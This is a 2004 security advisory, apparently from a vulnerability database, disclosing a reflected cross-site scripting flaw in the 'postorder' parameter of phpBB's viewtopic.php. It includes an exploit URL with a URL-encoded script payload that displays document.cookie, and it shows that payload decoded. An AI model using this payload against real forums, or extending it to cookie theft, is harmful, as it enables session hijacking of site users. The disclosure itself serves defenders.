New phpBB ViewTopic.php Cross Site Scripting Vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2004-03-01T00:00:00


Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability Release Date: Feb 29,2004 Application: phpBB Platform: PHP Version Affected: the lastest version Vendor URL: Discover: Cheng Peng Su(

Details: This vuln is similar to Arab VieruZ's advisory 'XSS bug in phpBB',this time the problem is not in 'highlight' ,but in 'postorder'.we can inject HTML code,such code could be used to steal cookie information.

Proof of Concept: If there is a topic at http://site/phpBB/viewtopic.php?t=123456 this page can be also viewed at http://site/phpBB/viewtopic.php?t=123456&postorder=asc then this page will contain code like below: <a class="maintitle" href="viewtopic.php?t=176994&start=0&postdays=0&postorder=asc&highlight=">[Topic Title]</a>. phpBB doesn't filter out illegal characters from 'postorder',so we can inject HTML code after 'postorder='.

Exploit: URL: http://site/phpBB/viewtopic.php?t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C

note unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C') == '"><script>alert(document.cookie)</script><'

Contact: Cheng Peng Su Class 1,Senior 2,High school attached to Wuhan University Wuhan,Hubei,China